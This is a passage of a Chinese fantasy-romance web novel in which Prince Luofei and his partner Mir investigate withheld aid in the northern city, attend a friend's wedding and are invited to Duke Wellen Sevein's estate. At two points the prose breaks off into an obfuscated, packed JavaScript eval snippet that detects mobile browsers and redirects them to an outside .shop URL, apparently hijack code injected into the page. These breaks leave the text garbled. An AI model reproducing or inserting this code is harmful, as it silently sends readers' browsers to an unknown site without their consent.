“我看你迟迟不来,便过来找你了。”米尔把书放在膝上,伸了伸懒腰,抬眸问道:“你不欢迎我?” “当然不是。”洛斐走到他身旁,瞥了眼他手里的书,转身向壁炉扔了几块碳,才开口:“只是晚宴忙碌,我忙完后深夜去拜访,怕打扰你。” “平日怎么不见你怕打扰我?”米尔语气认真,“殿下是真的忙碌,还是有意躲着我?” 洛斐没搭话,垂首去看他身旁的书,随意开口:“你看的是北城来访记录,写得有意思吗?” “还好,只是用来打发时间。”米尔说完,视线移向洛斐,静静地盯着他,“你在躲着我吗?” 洛斐见话题的确无法转移,微微垂眸,而后脑袋蹭着米尔的颈窝,语气也软了下来,“你不是不高兴吗?没安全感了,对我失望了。” 米尔捧着他的脑袋,听着那些不着边际的猜测,微微蹙起眉头,“你都是从哪想来的这些。” “不是吗?” 洛斐拉着一旁的毛毯,胡乱地堆在手边,顺势把米尔往怀里带了带。 米尔见他又怕冷又黏人的可怜模样,就知道对方又想岔了,叹口气道:“你又在乱想。” “我哪有理由对你失望,或是不高兴。”米尔安抚性地拍了拍他肩膀,“你日日陪着我,我很安全。” 洛斐停顿了好一会,“你……不讨厌?我安排莫里斯骑士将北城情况禀报给莱因哈特国王的事情。” 洛斐继续补充道:“我很想听你的,也真的不想让你失望,但北城的援助物资被扣留涉及到王国子民的安危,我必须谨慎而行。” “你不要误会,我很爱你。” “我怎么会因为这些事情而讨厌。” 米尔不解地笑着看了他一眼,顺势将毛毯往他那边塞了塞,开口解释:“那本就是你该做的,你做得很对。” “是我做事太果断了。”米尔望着炭块燃烧,慢慢开口:“我觉得我们单独调查也能成功,不用劳烦莱因哈特国王,他的身体还没痊愈。但却忘了问问你的想法,也没有考虑其他因素和情况。” 洛斐微微垂眸望向他,“那你为什么不理我,而且表情很凝重。” 米尔的动作顿了顿,没想到对方连他的细微表情都观察着,笑着说:“我当时便后悔了,知道这种提议很不妥,想和你解释,但显然莫里斯骑士并没有给我们机会。” 洛斐没移开,而是将信将疑地问他,“真的不是生气?” “我要是真的生气了,便不会半夜来找你了。”米尔微微抬着肩膀,好让对方靠得更加舒适些,“而且你做得很好,比我要周全谨慎很多,我怎么会讨厌你。我还担忧,你会觉得我对王国子民不利呢。” 洛斐想也没想地回答:“我才不会那样认为。” “那是谁先前费尽心力地提防我,怕我伤害王国和子民。”米尔佯装随意地开口。 洛斐自知米尔在调侃他,闷闷地开口:“那是谣言作祟,我向来是最信你的,不是吗?” “是。”米尔被毛毯和他的体温捂得有些热了,抬手推了推他,“知道了,你先起身。” 洛斐没再抱着他。米尔的体温比他高,对他刚好的温度,对米尔却太热了。 洛斐松了手,看着米尔垂首整理凌乱的衣袍,开口问道:“莫里斯骑士已经禀报给了父王,我们明日回温斯洛还是暂时留在北城观察情况。” “当然是留在北城。”米尔头也不抬地说道。 洛斐不置可否,像是早就料到他会这么说。 从他们来到北城开始,一切就像是被人提前安排妥当,任何问题都像被一根透明的线条串了起来。 克兰德公爵的疾病,北城的危局,冰谷的秘密洞穴,被扣留的援助物资。 米尔不会坐视不理。当然,洛斐也做不到不管不顾地抽身离开。 “解决北城的危局当然重要。”洛斐看着米尔,意有所指地开口:“但你的事情也一样重要。既然已经告诉了父王,我们不妨先去寻找残刃卷,而后再回北城处理问题。” “殿下的记性倒是很好。” “但残刃卷你是知道的,并不是着急便能解决的,我自有打算,你不必担忧。”米尔话锋一转,“但北城的问题不能再拖了,莱因哈特国王的身体还没好,而且南方又正逢汛期,哪怕情况不算严峻,但也是心神俱疲。” 洛斐微微颔首。 他无法反驳。 莱因哈特的身体确实还没好利索,大半国事仍然由薇洛希代为操持。 “好。” 洛斐答应后才忽地想起德安那份邀约,“我们明日留北城解决危局,那德安的婚礼邀约怎么办?” “会去的。” 洛斐拉着毛毯,听着米尔运筹帷幄的语气,笑着问他:“你已经知道是谁做的了?” 米尔偏头看向他,扯了扯嘴角,“当然是不知道了。” “那你在高兴什么?”洛斐借着毛毯,挪到他身旁,问他。 米尔换上一旁叠好的轻便衣物,顺势躺在床铺的另一边,张口便说道:“和你一起便值得高兴。” 洛斐被米尔的话哄得笑了笑,扔起毛毯,裹着米尔连转好几周,直到米尔懒懒地说了句“快睡觉”才稍微消停些。 也没消停。 “米尔,我们的婚礼是办在汐莱纳希还是艾瑟兰?”洛斐语气犹豫,“或是露西恩的遗址,但是那样的距离恐怕无法邀请好友前来。” “我的好友很少,你的旧友比较多,还是在汐莱纳希举办比较好……” “春日的天气还好,只是……” 米尔抬眼看向他,顿了片刻,微微仰头,吻了他的下颌,“殿下,你很吵。” 洛斐愣了愣,随即垂下眼,目光亮晶晶地望向米尔。 “我要是还吵的话会继续亲……” “不会,但殿下可能会被我赶出去.” “……”洛斐撇撇嘴,搂住米尔的腰,扯着毛毯,闷闷地补了一句,“米尔,好梦。” 洛斐原本以为莫里斯骑士对他们的关系会一直糊涂,结果次日一早,他便主动向先一步来用餐的洛斐道起歉。 “殿下,晚宴结束科尔才同我说了您和米尔大人的关系。昨日是我没眼力见,占了你们独处的时间,甚至无意间阻止了你们交谈。”莫里斯微微欠身,朝洛斐说道:“万分抱歉。” 睡眼惺忪的洛斐被眼前弯腰道歉的莫里斯吓了一跳,将人扶起来,语气平和地说道:“叔父,不必在意,您本就不知情,怪不得您。” “当然。”洛斐顿了顿,转身望向身后的垂首捏腰的米尔,说道:“您要是想跟米尔说句不是,倒也无妨。” 罕见来晚的米尔见众人望着他,略微不解地走向餐桌,还没等他询问身旁的洛斐,对面的莫里斯便起了身,又躬身说道:“抱歉,米尔大人,我昨日失礼了。” 米尔急忙起身扶他,又是好一阵推脱,才总算把莫里斯骑士那点愧疚彻底消了下去。 用餐结束,莫里斯和科尔先去照顾克兰德公爵服药,米尔和洛斐则是提议在城堡的议事厅里等待他们。 米尔看向身旁正四处看的洛斐,手指扯了扯对方的衣摆,小声说:“你怎么不直接告诉莫里斯骑士,那都是不值一提的小事,哪里需要特意道歉。” 洛斐偏头答道:“我告诉了。但叔父觉得耽误了我们,他心里不好受,让他道歉也无妨,况且我也不能替你做决定——你答不答应,便当是给你的仪式感好了。” “什么仪式感,我看你就是想逗弄我罢了。”米尔随口说道。 洛斐倒是不再反驳了,而是倚着卓沿,问米尔:“咱们要从哪里开始?或是了解什么?” 一切都无从得知。 一场毫无头绪的调查。 米尔微微弯腰,看着议事厅角落里那些绿色植株。 每朵鲜花,每棵绿植都写着专属的名字。 米尔看得认真,朝洛斐说道:“这些绿植布置得很有意思,每一株上都标着都名字,连照料负责它们的人都一并写了上去。” 洛斐也跟着上前看了一会,的确是独特的摆设,他多看了几眼,想着回去学着给米尔的花园也装饰一番。 “对了,殿下问我们从哪里开始了解吗?”米尔想起方才洛斐的问题。 “嗯。” “了解?”米尔想了一会,开口道:“那便先和莫里斯骑士谈谈北城的风俗。” “风俗?”洛斐疑惑地反问。 米尔加了一句,“还得问问这些植株是怎么样栽培的?” 洛斐知米尔方大概是又有了点子,便自顾自地看着对方左看右看。 米尔在同莫里斯骑士谈谈风俗之前,洛斐都以为那只是玩笑话。 “莫里斯骑士,北城冬日景色很独特,有什么特别的风俗吗?”米尔浅浅地尝了口眼前的茶水,随口问道。 “北城冬日的风俗?北城的天气寒冷,子民们也并不爱出门,根本说不上有什么了不得的风俗。”莫里斯不咸不淡地开口。 洛斐在一旁静静地听着。 真就只是谈论家常。 “真的吗?我常常听温斯洛的贵族们谈论,北城的风光独特且极具魅力,他们都喜欢来暂住几日。”米尔语气平淡,继续补充道。 “对吗?殿下。” 米尔将话抛给了身旁的洛斐。 洛斐看也不用看米尔,顺势开口:“是的,包括我父王和母后也很向往北城风光。” 莫里斯愣了愣,抬眸看向他们,“真的吗?那倒真是新奇。” “你们倒是会夸北城,不过的确有几位公爵很喜欢来北城游玩。”莫里斯抿了抿茶,轻声开口:“你们可以猜猜是哪位公爵?” 洛斐看米尔垂着眸,不说话,率先开口道:“向来应当是莫尔顿公爵。” 莫里斯骑士微微颔首,“尽管来了北城也依旧能见到那位公爵的身影呢。” 莫里斯捧着茶杯,意有所指地开口:“那位年轻的新任公爵也很爱来北城小住,大概和你们年纪相仿,真是年少有为。” 洛斐微微皱眉。 年轻的新任公爵,同他们年纪相仿,那不就是赛维恩·维伦。 “赛维恩公爵也常来吗?”米尔忽地开口。 “常来倒也不是,只是他每回出现动静都不算小,也常来拜访我。”莫里斯语气无起伏。 “那叔父见了赛维恩公爵……” 米尔在下面悄悄地拉了拉他的手腕,视线移向那边的绿植上,问莫里斯骑士,“您那边的绿植长得真好,装饰也极其精致。” “的确生机勃勃,都是克兰德公爵做的。”莫里斯骑士的语气软了下来。 “可惜如此生机勃勃的北城景色,我们也无法好好欣赏了。”米尔的语气可以压低了 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洛斐说完,又觉得不妥当,“莫里斯骑士的那番话,显然是挑着说的,要么是他的确不知道,要么是他或他代表北城,不想与维伦有关,再不然是他不想和温斯洛扯上关系。” 米尔安静地听着,适时地问了句,“你觉得是哪种……或者更加倾向于哪种?” 洛斐直截了当地说:“莫里斯骑士不想同维伦扯上联系的可能性会更大一些。” “至于莫里斯骑士,他认识维伦,也和他有过来往,但应当谈不上私交。” 洛斐见米尔的脸色在风里稍微好转些,轻声问他,“你觉得呢?” “我和殿下想得一样。”米尔不咸不淡地说道:“维伦吗?是好久不见了,这次回温斯洛务必要见一见了。” 洛斐微微皱眉,说:“如果维伦真的扣留援助物资,那他的目的是什么?都城的年轻公爵跑去北城扣留王室拨给的援助物资。” 怎么想都不合理。 “那就去看看便知道了。”米尔语气懒懒的,哪怕已经靠快到了温斯洛,他仍然是提不起精神的模样。 洛斐看他神色不适,提议道:“先去卡斯弗医师那边看看,再去德安的婚礼,好吗?” 米尔侧身望着他,笑着说:“那时候婚礼都开始了,我们两个人悄悄地溜了进去,其中一位还是王国的王子,殿下就等着巡访时再挨一记面包吧。” 洛斐犹豫地问:“……那你的身体能行吗?” 他知道德安和他的爱人皆是米尔的旧友,婚礼不去自然是不妥当,但米尔自从去了北城,一直怏怏不乐,脸色也不算好看。 “当然。”米尔望着他的眼睛,淡淡地开口:“就当是殿下同我提前走一遍婚礼过场了。” “……那不太符合。”洛斐怔了怔,嘴角的笑压也压不住,“王室婚礼可是隆重得很。” “好,我拭目以待。”米尔笑着回他。 德安的住所在温斯洛比较繁华的地方,但婚礼却办在了较为偏僻的缓坡草地。 深秋的草还绿着,远远也能看见稀疏的树丛,白布搭的棚架立在坡顶,风吹得微微鼓起。 木椅有序地摆了两行,早来的宾客已经入座开始闲聊。 洛斐放眼望去,倒是没有一位熟悉面孔,大多数是德安和玛格特的亲密好友。 他偏着头,扯着衣领微微遮挡面孔,压低声线,“这场合没贵族来吗?” 米尔环顾四周,拉着他走去入座,轻声回答:“德安和玛格特是圣西尔学院的导师,向来不爱与贵族往来,所以来的人不多,能认出殿下的就更少了。” 洛斐仔细地看了一遍,婚礼即将开始,场地的熟悉面孔依然寥寥无几。 他才松口气,放心地开口:“德安邀请我的时候,怎么也没和我说要隐藏身份。” “他应该认为殿下是随口提起的,并没当真。”米尔朝洛斐说道:“毕竟会主动参加子民婚礼的王子并不常见。” “……”洛斐叹口气,“我肯定是认真的。” 米尔的猜测在婚礼举办时得到了验证。 洛斐和米尔坐在最后排的位置,身穿礼服的德安先是朝米尔打了招呼,目光移向身旁洛斐时,微微一愣,而后弓了弓腰。 接着,他又侧过头去,低声向一旁的爱人说了句什么,那人也顺着他的示意,朝洛斐微微颔首致意。 洛斐将脑袋低得更低了。 如此明显,真的不是故意的吗。 米尔抬手拍了拍他,“殿下,没事吧?” “无碍,只是他们有些……热情。”洛斐讪讪地开口。 尽管婚礼开始时有些许尴尬,但后面的流程,洛斐真的看了进去,发表誓词,交换信物,亲吻,一切都是那么的水到渠成。 洛斐对婚礼的了解少得可怜,仅有的几场印象,全是贵族们的契约婚姻,或是一场接一场的联姻。 那些婚礼,完全不像面前这般亲切和温和,更像是一种任务,一种完不成便无法得到权利,获得金钱的任务。 他和米尔的婚礼也会是这样的吗?不算隆重,也不必铺张,只是获得祝福,并且传递幸福。 洛斐余光见米尔也看得入神,偏着头问他:“米尔,你喜欢这样的婚礼吗?” “喜欢。” 米尔像是没听清他的问题,转而慢慢回答:“……喜欢你。” 51. 形影不离 洛斐怔了片刻,冲他笑了笑,“我也爱你。” “不要转移话题。”洛斐敛起笑,问他,“我是问你,喜不喜欢这种婚礼。” “德安与玛格特的婚礼?”米尔看了眼在众人见证下相拥亲吻的两人,朝洛斐说:“我们要是办这种婚礼,怕是要惹恼全国子民。” “他们会生气?”洛斐不解地侧身看着米尔。就算生气也该是莱因哈特和薇洛希先觉得不妥。 “本来子民们还等着看王国唯一王子的热闹,结果他偷偷跑到偏僻草地悄悄地将婚礼办了。”米尔笑着说:“殿下,您的威望可就保不住了。” “那不一样。”洛斐微微皱眉,语气认真,“与我结婚的可是你,是米尔·韦恩菲尔德。” 洛斐继续补充道:“而且,我们要是真的举办低调些的婚礼,也该在赛马场。” 米尔愣了愣,语带调侃地反问:“你怎么不说在训练场?” 身旁的洛斐当真思索了片刻,一本正经地回答:“也好。” “……但打扰骑士训练并不妥当。”洛斐犹豫地开口。 米尔见他真的在蹙眉思索是否可行,连忙垂首握住了他手腕,“殿下不妨先观看德安和玛格特的婚礼,不然一会他们来问你,你可什么都说不出来。” 洛斐怔愣了一下,“我来观礼,还要回答他们的问题吗?” 米尔看向身旁人,耸了耸肩,“你明白的,他们身为导师的习惯。” 洛斐深吸口气,继而凝神地看向前方,视线不再乱看向身旁的米尔,手指倒是时不时地拨弄两下,得到米尔的无情拍打后方才老实地收手。 婚礼结束,德安与玛格特先招待完较远地方前来的亲密宾客,又朝着洛斐和米尔走去。 “恭喜你们。”米尔率先起身,朝着面前眉眼含笑的两人开口。 洛斐也跟着说道:“恭喜你们,婚礼很棒。” “殿下认为哪里最好呢?”玛格特朝洛斐追问道。 洛斐怔了怔,接受了哪怕是王子也躲不过导师的提问,毫不犹豫地回答道:“你们的感情很棒。” 玛格特对他的回答相当满意,看向他的眼神也不止于敬畏了。 她转而看向米尔时,也带着对他眼光的赞许。 玛格特与米尔的关系并不浅,甚至要比和德安还好些。只是久别重逢,要叙的旧太长,偏偏婚礼最是忙碌,到最后也只是匆匆告别。 回程的路上,洛斐正想尽办法要将祈福绳系好,转而见听坐在一旁的米尔忽然开口:“先前,玛格特的父亲与我母亲经常钻研武器,她的父亲也独爱游历,我们因此常常见面,她就像是妹妹一样。” 洛斐深深地看了他一眼,随口道:“我还是能看出来的,况且我何时拦过你与旧友说话了。” 米尔仰着头,扯了扯嘴角。 “……当然,保持些距离也很好。”洛斐忽地来了句。 原先他是毫无资格,现在可不一样。 “好,我会的。”米尔毫不犹豫地笑着应他。 洛斐看了他好一会,最后将手腕递给米尔,说道:“帮我系祈福绳,好吗?” 马车晃晃荡荡,洛斐系了好一阵,那根早就破损的绳线早就不堪重负,搭在洛斐手腕上摇摇欲落。 米尔吹口看了一会,开口:“殿下,将这根祈福绳扔……” “不好,我想留着这根你亲手给我做的,也是你戴了很久的,至于你以后给我做的。”洛斐抬起右手,晃了晃,“我戴在右手。” 米尔垂首,拿起唯一一块好绳线,认真地给他系着,随口问他:“殿下回城堡后要休息几日?” 每次远行归来,洛斐总要闭门休息几日,算是他的习惯。 “休息?”洛斐望着米尔微微垂下的发梢,“北城的问题尚且一团糟,维伦那边也没弄明白,残刃卷跟不知道从何找起……怎么能休息呢。” 米尔抬眼看他,“还是要适当地休息,北城的问题再乱也总能解决,维伦的目的和其他也总是能搞明白。” “至于残刃卷,殿下真的不必担忧,我真的有把握。”米尔说完,拍了拍洛斐的白皙手腕,“好了。” “从汐莱纳希回来后它便没了任何线索,你从哪里来的把握。”洛斐听着,只当是米尔宽慰他软话。 “殿下以后便知道了。” 米尔见洛斐抬眸,晃手腕的模样,笑着问他:“那我们接下来要去忙什么?” “去忙最重要的事情。”洛斐只起身,朝米尔郑重地开口:“去请卡斯弗来为你治疗。” “……殿下真的很执着。”米尔叹气感慨道。 “你的旧疾未好全,其他的病症也要好好治疗,去请卡斯弗自然是第一大事。”洛斐端了端神色,开口道。 “不必去卡斯弗的偏僻医所,几日后他会来城堡。”米尔意味深长地看向眼前的洛斐,说道:“殿下不要忘记,陛下传来的信件,回去后第一时间去见他与薇洛希王后。” 洛斐认命地垂首,顺势靠向米尔。 他真给忘了。 “你和我一起去见父王和母后?”洛斐微微抬眼问他。 “我去能给殿下分摊国王和王后的训斥吗?”米尔挑了挑眉,问他。 “不能,只会给我些力量。”洛斐有气无力地开口:“接受他们猛烈责备的力量。” 米尔拍着他肩膀,算是给他的细微鼓励。 “好。” 城堡里的侍从早习惯了王子常常远行又匆匆回来,只是现在又多了位米尔大人。 他们全都默契地微微躬身问候,稍微抬眼看着两人并肩朝议事厅走去。 又是一阵训斥。 议事厅内,薇洛希端坐在主座上,手里拿着一份翻了一半的文书,像是完全没听到他们的到来。 洛斐一眼看见薇洛希,顿时松了口气,只是那句母后还未喊出口,便被另一道声音截断了话。 “你们不是去游玩了?”莱因哈特站在一旁,问他们。 毫不留情,也不拐弯抹角,如此直白。 真是他父王的做派。 洛斐还没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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米尔转身见洛斐神色黯然,也牵了牵对方的手腕。 洛斐往身旁倾了倾身,飞快地丢了句“看完记得等我”,便转身默默地坐回了原位。 议事厅因为薇洛希和米尔的离开而显得更加肃静,洛斐垂首望着新换的座椅,没抬头看莱因哈特。 “你过几日去拜访赛维恩庄园。”莱因哈特说完,沉默了片刻,又立马改了口,“拜访……要仔细些,仔细看看那边的情况。” 洛斐愣了愣,刚想开口询问,莱因哈特又继续说道:“你亲自去,单独去。至于米尔,哪怕你们关系特殊,但是王国的事务,你务必要学着解决。” 洛斐微微颔首,怪不得莱因哈特对北城的具体情况不清楚——看来并非不知,而是佯装不知。 莱因哈特缓慢地坐在一旁,神色带着掩盖不住的疲态,随口问他,“明白了吗?” “明白,父王。”洛斐抬眼看向莱因哈特,犹豫地问道:“您的身体还好吗?” 52. 启程 “无碍。”莱因哈特盯着他手腕那根祈福绳,缓缓开口:“你听话些,我便更好了。” “知道了,父王。”洛斐颔首答完,余光开始时不时望向议事厅外的廊道。 莱因哈特顺着他的视线望去,一眼便看见了预想中的人,他抬手抚着眉心,叹了口气,“你要是有事便先退下,不必在这里候着。” 洛斐坐在一旁,听莱因哈特说完微微颔首,撑着椅子扶手利落地起身,“父王,那我先走了。” “你……”莱因哈特无力地闭眼,看着他说:“你先向我禀报北城的情况再离开。” 洛斐朝莱因哈特笑了笑,重新坐了回去,“好。” 莱因哈特虽是表面斥责他,但真知道他从北城劳累归来时,也无形地将责备省去了一大半。 洛斐将北城的具体问题以及莫里斯骑士讲述的情况,包括克兰德公爵的身体状况一并跟莱因哈特汇报完毕。 对方淡淡地交代了几句,便抬手让洛斐先回去,不必在跟前烦他。 洛斐干脆地答应,伸了伸懒腰往议事厅外面去。他刚刚脱离北城的萧瑟凉风和刺骨寒冷,一时间面对温斯洛的和煦还有些不适应。 “韦恩菲尔德……”洛斐喊住面前擦拭摆件的侍从,问道。 那侍从顺势看向一旁。 洛斐也跟着望去。 米尔果然倚着廊柱,身形清瘦而端正,正默默地垂首,不知道在看些什么。 “谢谢,你先去忙。”洛斐转身朝米尔走去,手臂自然而然地搭上了米尔的肩膀,笑着说:“米尔,看什么呢,那么认真。” 米尔将那些纸顺势塞回来身后,朝洛斐说道:“只是些信件。” 放在平时,他忽然将手臂搭在他肩膀,对方要么是恼羞成怒地拍他脑袋,要么是语调侃他。 怎么会急着将东西往回塞。 洛斐挑了挑眉,问:“那么秘密?” “的确是秘密。”米尔抬眸对着他的视线。 洛斐看了他好一会,明白对方真的没有告诉他的意愿,便往他身后望了望,问:“母后呢?你见到人了?” “嗯,见到了。”米尔转身说道:“母后去给我们准备餐食了。” 洛斐微微蹙眉,“其他人去准备便是,总是亲力亲为。” 米尔拍了拍他手臂,说道:“母后的喜好,你别乱说。” “我只是觉得没必要。”洛斐偏头望着米尔,忽然想起莱因哈特的嘱咐。 “米尔,我明日……”洛斐站得不太自在,手垂在身侧,又迅速地握了握袖口,“我明日要外出一趟。” 米尔头也没抬地回答:“好,你去便是,正好也不用去找卡斯弗,他明日会来城堡给国王治疗。” 米尔说完,便自顾自地抬头看向他,洛斐下意识开口:“我不是去很遥远的地方,也并不是去很危险的地方,不同你一起去我也很遗憾。” 米尔微微皱眉,不解地看着眼前异常慌张的洛斐,“你怎么了?” 洛斐稍微垂首。 米尔看了他一眼,试探地问:“不会是要去赛维恩庄园拜访维伦?” 洛斐别开脸。 米尔自知说对了,追问道:“艾因哈特国王怕我给你出谋划策,还是怕我偷风报信,干扰国安?” “当然不是怕你对王国不好。”洛斐当即反驳,弱弱地说了一句,“父王怕我过于依赖你,无法独自解决问题。” “反正不是怀疑你。” “好。”米尔一边点头一边轻声说:“殿下也的确该好好锻炼一下独自面对并解决问题的能力。” 洛斐见米尔转身往卧房走去,问道:“你放心我独自前去吗?” 米尔向一旁挪了些位置,随口说道:“殿下可是受过严格训练的王国王子,现在不过是去公爵庄园里去看看情况,我有什么好担心的。” “况且,莱因哈特国王让你独自前去,我要是陪你去了。”米尔停顿片刻,补充道:“我们便一起等着被训斥和责备,兴许……还有写不完的报告。” 洛斐和米尔并肩走着,一时语塞。 他还真想过像往常那样先斩后奏地和米尔一同去,完成任务后再去莱因哈特面前任凭他责罚。 米尔见他站着不讲话,便知道对方真是这样的想法,不咸不淡地开口:“不如先回房歇一歇,说不定维伦会亲自邀请我过去。” “先前的赛维恩家族已经不复存在了,现在的维伦极其讨厌奢华和高调,独爱安静冷清。”洛斐慢慢地开口,“赛维恩庄园一年没有几场活动,邀请我们更是绝无可能。” “你的话太绝对。”米尔偏头看向身旁的洛斐,“想见我们的人会主动去创造机会。” 洛斐凑到他跟前,语气调侃,“我绝对?是谁做任何事都毫不犹豫的。” “我毫不犹豫的事情绝不会失败。”米尔朝洛斐笑着说道。 洛斐扯了扯嘴角。 这句都是如此笃定。 米尔的话,洛斐是完全相信。但维伦会亲自邀请他们,洛斐不得不将信将疑。 向来不爱与人来往的人怎么会忽然邀请他们,况且对方带着一身谜团的时候。 “米尔,你不是说维伦会亲自邀请我们去赛维恩庄园?”洛斐坐在米尔身侧,随手拨弄着他乌黑的发梢,“父王那边安排的时间已经快到了。” 米尔任由他拨弄着发梢,头也没抬,翻了页手中的报告,“别急。请给他一点时间。” “好。我倒是要看看维伦会不会给……”洛斐话音未落,便听见一阵清脆的敲门音。 他下意识回答:“进来。” 卧房的门被顺势打开,埃迪拿着一封闪着金光的信封走了进来,朝着洛斐恭敬地开口:“殿下,维伦·赛维恩公爵派人送来了邀请函。” 洛斐愣了愣,一脸诧异地看向一旁依旧翻阅报告的米尔,对方表情无波无澜。 他抬眸看向埃迪,问道:“维伦送来的?” 埃迪颔首,“是的。” 洛斐伸手接过来那信封。 厚实的米白纸制造而成,边角裁得干净妥帖,只是本该雕刻家族徽章的地方却空空如也。 洛斐随手打开,拿起来端详了片刻。 信很短,看起来颇为随意,只是写了只言片语:仅仅邀请他们的去赛维恩庄园赏花。 洛斐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799769|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 米尔眼前扬了扬那张信封,“赏花?他哥哥对万物皆异常敏感,改造后的赛维恩庄园哪来的花。” “重要的是邀请了我们,不是吗?”米尔看着他说道。 洛斐直白地开口:“按照目前的形势和状况,他立刻离开艾瑟兰才是最好的选择。” “主动邀请不一定是问心无愧,也许是和我们一样,想要打探消息,或是调查情况。” “拜访一下便知道了。”洛斐将邀请函举到头顶,抬眼重新看了起来。 一旁的埃迪忽地朝洛斐开口:“殿下,请允许我陪你前去赛维恩庄园。” “不用,埃迪。你留下来陪父王和母后便好,不用陪我去赛维恩庄园。”洛斐说道:“那地方尽管好久未去,也不会迷失方向的。” 埃迪常常跟着他们身侧,虽然未能亲自去北城,但也对来龙去脉有些了解,“但是这并不安全。” 洛斐还没来得及劝阻,一直忙着看报告的米尔率先将视线移向埃迪,“埃迪,不必担忧。殿下有我亲自陪着,而且你忘记答应我的事情了吗?留下来帮帮莱因哈特国王的同时,也请帮帮我,好吗?” 埃迪听到米尔的劝说,这才微微颔首,“好的,请放心。” 洛斐不再继续端详那张信封,而是看了他们一眼,问:“你们在做什么呢?” 埃迪不说话了,只是微微垂着眸,视线一动不动地注视着地面。 洛斐继而将目光落到了米尔身上。 米尔一抬眼便是洛斐那双包含期待的眼眸。他轻声开口:“大概是给你的秘密。” 洛斐盯着米尔那张说起任何话都是风平浪静的脸,试探的说了一句,“最好是秘密。” “当然。”米尔浅浅地抿了口茶,突然转向洛斐,“对了,殿下去赛维恩庄园,不要乱说话,也不许仓促行事,尤其是面对维伦·赛维恩,务必谨慎。” “那是自然,我们和他也不是陌生人,怎么会摸不清他的性子。”洛斐认真地开口:“我会尽量做到万无一失,保证一举打败维伦,得出真实情况。” 埃迪适时地补充道:“不是陌生人,维伦·赛维恩对殿下和米尔大人的了解程度也不必你们对他的要差。” 米尔看向埃迪问道:“埃迪的意思是,我们带一个人一同前去。” “是的。”埃迪垂首道:“乱了对方的步伐,才能始终占先。” 不仅仅是米尔微微颔首,连托着腮听着的的洛斐也无比赞同地点了点头,“找谁去?要既不突兀也不刻意。” 米尔想也没想地提议道:“卡斯弗怎么样?” “他和维伦认识吗?”洛斐不解地问道。八竿子打不着的两人突然见面实在突兀。 “我先前向维伦提起过卡斯弗,或许能为他哥哥安铎治疗旧疾。”米尔思索片刻,“应当是认识的,为此,维伦甚至专程向我道谢。” “那我们先去卡斯弗的住所。”洛斐听米尔说完,直截了当地要启程。 米尔则是手撑着卓沿,语气里带着无奈,“莱因哈特国王完全不用担忧,因为殿下根本不听我说话。” “卡斯弗今日会来城堡为国王治疗,顺便来看望我们。” 53. 好久不见 洛斐托着腮,看着米尔那副“你绝没认真倾听”的模样,略微心虚,朝身旁讪讪地开口:“那便请埃迪去喊卡斯弗来。” 埃迪还未来得及应下,米尔的卧房门便被忽地推开了,房里的三人皆是一愣。 背着药箱,站在门口的卡斯弗望着怔愣的他们,困惑地笑了笑,“你们不是正在找我吗?” 埃迪率先回神,朝身旁的卡斯弗微微躬身问好,“你好,卡斯弗医师。” “你好,骑士先生。”卡斯弗回礼后,望向座位上的米尔和洛斐,他依礼颔首,语气端正地应道:“洛斐殿下,米尔,好久不见。” 洛斐顺势起身,朝卡斯弗点了点头,开口问:“卡斯弗医师,你辛苦了,我父王的身体还好吗?” 卡斯弗在他们对面坐下,摆了摆手,语气果断,“无大碍,莱因哈特国王只是累了,薇洛希王后的本领比我强,照料得仔细,很快便能痊愈。” 卡斯弗的目光移向米尔,眉心微微拧起,“倒是你,米尔。你怎么如此憔悴,自从去了汐莱纳希便再也没来找我治疗。圣西尔毕业典礼见了一面,你也是匆匆离开。回头去找你,埃迪骑士和我说你和殿下又去了北城。” 卡斯弗继续补充道:“如果不是洛缇带同伴来艾瑟兰找我疗伤,偶然提起你,我都不知道你去了汐莱纳希。你也不怕国王将你扣押给他做武器。” 米尔听着卡斯弗添油加醋的调侃,笑着说:“你又不是不知道,我对武器不太了解,扣押我做什么呢。至于看起来憔悴,也只是有点累了。” 在旁边倾听许久的洛斐,此时才开口:“严重吗?” 卡斯弗愣了愣,才反应过来对方说的是米尔,随口回答:“倒也不严重,米尔的旧疾恢复得不错,坚持来找我治疗便好。” 卡斯弗话音刚落,余光瞥见洛斐要开口,立刻截断了他的话:“想都别想,我绝对不会留在城堡。” “如果不是导师离世前,叮嘱我要帮薇洛希王后,我大概也不会来城堡。” 洛斐讪讪地别开脸,见卡斯弗和米尔笑着谈话,便抬手喊来埃迪,将从北城带来的礼物递给他,说了句,“埃迪协助母后照顾父王,辛苦了。” 埃迪连忙垂首:“殿下您客气”他话音刚落,便被前来的骑士喊走了。 卡斯弗与米尔闲谈片刻,才想起刚站在卧房门口时,他听到的对话,自然而然地问道:“你们方才说找我做什么?” 米尔与洛斐相视一眼。 “算是去拜访一位我们的共友。”米尔将饮品推到他眼前,斟酌地说道。 “维伦·赛维恩?”卡斯弗试探开口。 洛斐怔了片刻,看向面前坐着喝饮品的卡斯弗,蹙着眉问:“卡斯弗医师,你知道?” 卡斯弗懒懒地回着,“我要来看米尔时,薇洛希王后忽然嘱咐我,说要我提醒洛斐殿下不要忘记去拜访赛文恩公爵,这样看来显而易见。” “……”洛斐无言地抿了抿唇。 莱因哈特让他保守秘密、单独前去,结果一转头,薇洛希已经把这事告诉了来给莱因哈特治病的卡斯弗。 米尔见洛斐迟迟不开口,便朝卡斯弗笑着说道:“是的,的确是维伦公爵。” 